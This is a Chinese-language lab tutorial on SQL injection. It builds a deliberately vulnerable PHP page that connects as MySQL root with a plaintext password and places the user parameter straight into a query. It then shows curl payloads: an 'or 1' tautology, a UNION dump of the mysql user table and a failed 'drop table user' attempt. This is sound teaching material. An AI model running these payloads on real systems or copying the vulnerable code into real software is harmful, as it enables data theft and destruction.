SQL 注入查詢

1. 範例：查詢使用者帳號。以 $_GET['user'] 函式取得在 php 網址後加入的 ?user=... 參數查詢，其中 MYSQL_NUM 指定使用數字索引。

   [root@kvm3 ~]# cd /var/www/html/
   [root@kvm3 html]# vim injection.php
   [root@kvm3 html]# cat injection.php
   <?php
   $dbhost = 'localhost:3306';
   $dbuser = 'root';
   $dbpass = '123qwe';
   $conn = mysqli_connect($dbhost, $dbuser, $dbpass)
   	or die(mysqli_connect_error().PHP_EOL);
   mysqli_select_db( $conn, 'mysql' )
   	or die('Error: '.mysqli_error($conn).PHP_EOL);
   $sql = "SELECT host,user FROM user WHERE user={$_GET['user']}";
   $retval = mysqli_query( $conn,$sql )
   	or die('Error: '.mysqli_error($conn).PHP_EOL);
   while($row = mysqli_fetch_array($retval, MYSQLI_NUM)) {
       echo "HOST: {$row[0]}<br>User: {$row[1]}<br>".
       "--------------------------------<br>";
   }
   mysqli_free_result($retval);
   echo "Fetched data successfully\n";
   mysqli_close($conn);
   ?>
   

2. 在 php 網址後加入 ?user='root'，查詢結果列出 host 及 user。

   [root@kvm3 html]# curl -s http://kvm3/injection.php?"user='root'" | sed 's/<br> */\n/g'
   HOST: localhost
   User: root
   --------------------------------
   Fetched data successfully
   

3. 在 php 網址後加入 ?user='a' or 1，查詢結果回應所有的帳號，範例中 %20 是空白，不能直接打空白，否則 $_GET 會報錯。

   [root@kvm3 html]# curl -s http://kvm3/injection.php?"user=\
   'a'%20or%201" | sed 's/<br> */\n/g'
   HOST: 192.168.122.1
   User: hosttest
   --------------------------------
   HOST: localhost
   User: dywang
   --------------------------------
   HOST: localhost
   User: mariadb.sys
   --------------------------------
   HOST: localhost
   User: mysql
   --------------------------------
   HOST: localhost
   User: root
   --------------------------------
   Fetched data successfully
   

4. 在 php 網址後加入 ?user='a' union all select host,user from user，查詢結果列出所有 host 及 user，因為可以注入 union all .... 的條件。

   [root@kvm3 html]# curl -s http://kvm3/injection.php?"user=\
   'a'%20union%20all%20select%20host,user%20from%20user" | sed 's/<br> */\n/g'
   HOST: 192.168.122.1
   User: hosttest
   --------------------------------
   HOST: localhost
   User: dywang
   --------------------------------
   HOST: localhost
   User: mariadb.sys
   --------------------------------
   HOST: localhost
   User: mysql
   --------------------------------
   HOST: localhost
   User: root
   --------------------------------
   Fetched data successfully
   

5. 在 php 網址後加入 ?user='a'; drop table user，查詢報錯，因為 PHP 的 mysqli_query 函式只接受單一詢問，加入分號來進行第二個詢問不被接受。

   [root@kvm3 html]# curl -s http://kvm3/injection.php?"user='a';drop%20table%20user"
   Error: You have an error in your SQL syntax; check the manual that corresponds to 
   your MariaDB server version for the right syntax to use near 'drop table user' at line 1